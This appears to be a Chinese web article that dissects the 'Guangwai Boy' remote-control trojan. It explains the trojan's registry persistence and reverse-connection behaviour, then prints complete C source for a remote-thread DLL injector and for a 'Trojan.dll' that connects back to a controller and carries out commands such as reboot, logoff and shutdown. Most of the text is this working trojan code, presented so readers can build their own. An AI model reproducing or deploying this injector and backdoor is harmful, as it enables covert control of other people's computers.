廣外男生剖析

作者:leonshoh  來源於:leonshoh

廣外男生是廣外程序員網絡(前廣外女生網絡小組)精心製作的一款遠程控制軟件,是一個專業級的遠程控制以及網絡監控工具。
而廣外男生除了具有一般普通木馬應該具有的特點以外,還具備獨有的特色:
1.客戶端高度模仿WINDOWS資源管理器:除了全面支持訪問遠程服務端的文件系統,也同時支持通過對方的"網上鄰居"訪問對方內部網其他機器的共享資源!
2.強大的文件操作功能:可以對遠程機器進行建立文件夾,整個文件夾(連子目錄,文件)一次刪除,支持多選的上傳,下載等基本功能。同時特別支持高速遠程文件查找,而且可對查找結果進行下載和刪除的操作!
3.運用了"反彈端口原理"與"線程插入"技術:使用了目前流行的反彈端口的木馬技術,由服務端主動連接客戶端,因此在互聯網上可以訪問到局域網裏通過 NAT 代理(透明代理)上網的電腦,輕鬆穿過防火牆(包括:包過濾型及代理型防火牆)。
   廣外男生外觀比較漂亮(哈,人家畢竟是專門做木馬的,^_^),筆者最近初步研究了一下這個較新的木馬!按照幫助文件配置了木馬,在自己的PC上作實驗了......
   廣外男生隱藏了服務端,只有運行服務端時,服務端的進程會短時暴露在任務管理器下,不過是一閃而過!根據廣外男生的配置,我們可以知道是它運用了DLL注入到遠程進程裏面!利用dll插入線程寄生到Windows系統進程(如explorer)中,本身沒有單獨進程。我們利用註冊表監測工具查到複製自身到system32目錄下,在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加自己,複製寄生到進程的一個DLL到system32目錄下,隨機寫入註冊表,位置不固定,重啓之後隨系統進程啓動自身。所以手工查殺很麻煩!DLL之所以位置不固定是由於WINDOWS的原因,DLL是被註冊到WINDOWS裏,手工註冊可以使用regsvr32命令註冊,程序也可以實現,不過不在本文討論範圍內。至於端口反彈,很簡單,就是服務端連接客戶端。廣外男生有兩種連接方式,一種是面向固定IP的,另一種是面向動態IP的。面向固定IP沒什麼技術可言,服務端直接連接客戶端。面向動態IP的通過中間的代理(因爲它的IP是固定的),相當於我們使用的肉雞,通過配置客戶端,生成一個HTM的頁面,當然數據是經過加密的。服務端每次啓動嘗試獲取這個文件,把裏面的內容解密得到用戶最新的IP和連接的端口。主要的代碼如下:
char *request="GET /guestbook.htm";  //廣外男生默認的生成頁面
   char buffer[2000];
destSockAddr.sin_family = AF_INET;
destSockAddr.sin_port=htons(80);
   deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); //代理的IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(destSocket,buffer,2000,0);(續)
buffer裏就是整個guestbook的內容,當然包括HTTP頭部,可以分析裏面的內容得到客戶機的詳細情況!
知道了它的原理,它的神祕面紗很快就被揭開了!我們完全能夠用編程實現。爲了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是Dynamic Link Library(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因爲所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它並不能獨立運行,一般都是由進程加載並調用的。運行DLL方法有多種,但其中最隱蔽的方法是採用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入並操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這裏介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕鬆地完成動態嵌入。遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。程序的關鍵是利用Kernel32.dll中的LoadLibraryA(W)API獲取動態鏈接庫函數入口地址,然後運行該地址以後的代碼!由於在主進程裏創建了遠程線程,遠程線程不隨着主進程的死亡而死亡,只有當宿主死亡時線程纔會停止運行!在插入遠線程之前必須有SE_DEBUG_NAME權限才能插入遠線程!OK,我們下面用代碼來實現!
/*********************************************
*   inject.c =>inject.exe
*   Author: leonshoh Wong 
********************************************/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

HANDLE hRemoteThread,hRemoteProcess;
DWORD  dwRemoteProcessid;
PWSTR  pszLibFileRemote=NULL;

DWORD ProcesstoPid(char *pid)  //查找指定進程的PID(Process ID)
{
HANDLE hProcessSnap=NULL;
char buffer[MAX_PATH];
PROCESSENTRY32 pe32={0};
int i;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
printf("/nCreateToolhelp32Snapshot() Error: %d",GetLastError());
return 0;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //開始枚舉進程
{
do
{
strcpy(buffer,pe32.szExeFile);
for(i=strlen(buffer);i>0;i--) //截取進程名
if(buffer[i]=='//')
break;
if(!strcmp(pid,&buffer[i])) //判斷是否和提供的進程名相等,是,返回進程的ID
return pe32.th32ProcessID;
}
while(Process32Next(hProcessSnap,&pe32));  //繼續枚舉進程
}
else
{
printf("/nProcess32First() Error: %d",GetLastError());
return 0;
}
CloseHandle(hProcessSnap); //關閉系統進程快照的句柄
return 0;
}

BOOL SetPrivilege()  //本函數用於提升權限,提升到SE_DEBUG_NAME
{
      TOKEN_PRIVILEGES tkp;
      HANDLE hToken;
      if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))        //打開當前進程失敗
              return FALSE;
      LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid); //查看當前權限
      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);  //調整權限,如上設置
      return TRUE;
}

int  main()
{
int   cb;
PTHREAD_START_ROUTINE pfnstartaddr;
DWORD Threadid=0;
char pszlibfilename[MAX_PATH];
dwRemoteProcessid=ProcesstoPid("notepad.exe"); //得到記事本的PID,當然也可以得到EXPLORER.EXE的PID,不過除非結束它的進程,不然一直駐留在內存中!
GetCurrentDirectory(MAX_PATH,pszlibfilename); //得到當前的目錄路徑
if(pszlibfilename[strlen(pszlibfilename)-1]!='//') //判斷是否爲根目錄
  strcat(pszlibfilename,"//Trojan.dll");
else
  strcat(pszlibfilename,"Trojan.dll"); //連接要插入的動態連接庫的文件名(這裏是Trojan.dll)


if(!SetPrivilege())
{
   printf("Error in SetPrivilege(): %d/n",GetLastError());
   return 1;
}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessid); //打開notepad.exe的進程得到進程句柄,注意第一個參數(打開句柄設置的權限)

if(!hRemoteProcess)
{
printf("Remote Process not Exist or Access Denied/n");
return -1;
}

cb=(1+strlen(pszlibfilename))*sizeof(char);  //計算dll文件名長度

pszLibFileRemote=VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE); //申請存放文件名的空間

if(!pszLibFileRemote)     
{
printf("VirtualAllocEx() Error: %d",GetLastError());
return -1;
}

if(!WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL))  //把dll文件名寫入申請的空間
{
printf("WriteProcessMemory() Error: %d",GetLastError());
return -1;
}

pfnstartaddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA"); //獲取動態鏈接庫函數地址

if(!pfnstartaddr)
{
printf("GetProcAddress() Error: %d/n",GetLastError());
return -1;
}

hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnstartaddr,pszLibFileRemote,0,&Threadid); //創建遠程線程,以DLL的文件名爲遠線程的參數
printf("inject successfully/n");

if(!hRemoteThread)
{
printf("CreateRemoteThread() Error: %d/n",GetLastError());
return -1;
}

WaitForSingleObject(hRemoteThread,INFINITE); //等待,其實可以設置一個超時值,這裏是無限等待,這句一定要寫,不寫就要出錯,我已經試過了
if(pszLibFileRemote!=NULL) //以下是清理過程,不必多講了!
{
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
if(hRemoteThread !=NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!=NULL)
{
CloseHandle(hRemoteProcess);
}
printf("/nDone!");
return 0;

}
好了,把插入的程序寫完了,很簡單吧!如果感到有點麻煩的話,請準備一本WINAPI的參考手冊,以備隨時查看。下面我們寫一個具有初步木馬功能的特洛伊動態連接庫。呵呵,還具有端口反彈!用來測試注入程序的正確!這裏我們只是用來測試,服務端是用單個線程的,只能連接一次,當然你可以重啓服務端!
// Trojan.cpp : Defines the entry point for the DLL application.
/***************************************************************
*  Trojan.c=>Trojan.dll
*  Author:leonshoh Wong
*  E-mail:[email protected]
***************************************************************/

#include <windows.h>
#include <winsock.h>
#define NO_FLAGS_SET 0
#define PORT 80 //遠程的連接端口(一般HTTP隧道技術都用這個端口)
#define DEST_IP_ADDR "127.0.0.1" //要連接的遠程IP(這裏用自己當肉雞了)

int StartSocket();
void recy(char *,int);
void docmd(char *);
BOOL EnablePrivilege(LPTSTR);

void ShowError(char *function)  //提示錯誤的函數
{
char buffer[MAX_PATH];
memset(buffer,0x0,MAX_PATH);
wsprintf(buffer,"%s Error: %d",function,GetLastError());
MessageBox(NULL,buffer,"Error",MB_OK);
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)   //動態連接庫的入口,相當於main()函數
{
switch(ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH:
       {
           DWORD id;
           CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
           break;
       }
      default:
  break;
    }
  return TRUE;
}

int StartSocket()
{
char buffer[25000]; //緩衝區(要足夠大,避免緩衝區溢出)
WSADATA Data;
SOCKADDR_IN destSockAddr;
SOCKET destSocket;
unsigned long destAddr;
int status,numsnt;
MessageBox(NULL,"The Dll Injected Successfully!","Success",MB_OK); //提示線程注入代碼以成功運行!
status=WSAStartup(MAKEWORD(1,1),&Data); //啓動WINSOCK,這裏我們用的版本是1.1,反正一樣,WINSOCK向下是兼容的
if(status)
{
ShowError("WSAStartup()");
return 1;
}
destAddr=inet_addr(DEST_IP_ADDR);
memcpy(&destSockAddr.sin_addr,&destAddr,sizeof(destAddr));
destSockAddr.sin_family = AF_INET; //這裏是Internet
destSockAddr.sin_port =htons(PORT); //在結構裏寫入端口
destSocket=socket(AF_INET,SOCK_STREAM,0); //建立SOCKET
if(destSocket==INVALID_SOCKET)
{
ShowError("socket()");
return 1;
}
do
{
status=connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
Sleep(250);
}
while(status==SOCKET_ERROR); //每隔250毫秒,連接客戶端,如果連上就繼續
while(TRUE)
{
numsnt=recv(destSocket,buffer,strlen(buffer)+1,NO_FLAGS_SET); //接受客戶端發來的命令
buffer[numsnt]=0x0;
recy(buffer,numsnt); //解析並執行命令
Sleep(100);
}

    return TRUE;
}
void recy(char *cmd,int num)
{
char buffer[25000];
strcpy(buffer,cmd);
buffer[num+1]=0x0;
buffer[3]=0x0;
if(!strcmp(buffer,"cmd")) //比較命令,如果是指令,交給docmd()函數處理
docmd(&cmd[4]);
if(!strcmp(buffer,"msg")) //如果是消息,則顯示消息
MessageBox(NULL,&buffer[4],"Alert",MB_OK);
}

BOOL EnablePrivilege(LPTSTR privilege) //提升權限(NT,2K下程序要有足夠的權限才能關機)
{
HANDLE token;
LUID luid;
TOKEN_PRIVILEGES tokenPrivileges;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&token))
{
ShowError("OpenProcessToken()");
return FALSE;
}
if(!LookupPrivilegeValue(0,privilege,&luid))
{
ShowError("LookupPrivilegeValue()");
return FALSE;
}
tokenPrivileges.PrivilegeCount =1;
tokenPrivileges.Privileges[0].Luid=luid;
tokenPrivileges.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token,FALSE,&tokenPrivileges,0,0,0);
return TRUE;
}


void docmd(char *cmd)
{
if(!strcmp(cmd,"reboot")) //重啓計算機
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_REBOOT,0);
}
if(!strcmp(cmd,"logoff")) //註銷
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_LOGOFF,0);
}
if(!strcmp(cmd,"showdown")) //關機
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
ExitWindowsEx(EWX_FORCE,0);
}
}
好了,服務端也寫好了,我們來測試一下,注意:把EXE和DLL文件放在同一目錄下,執行inject.exe,是不是還少了什麼?是呀,客戶端,沒有客戶端怎麼控制??

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章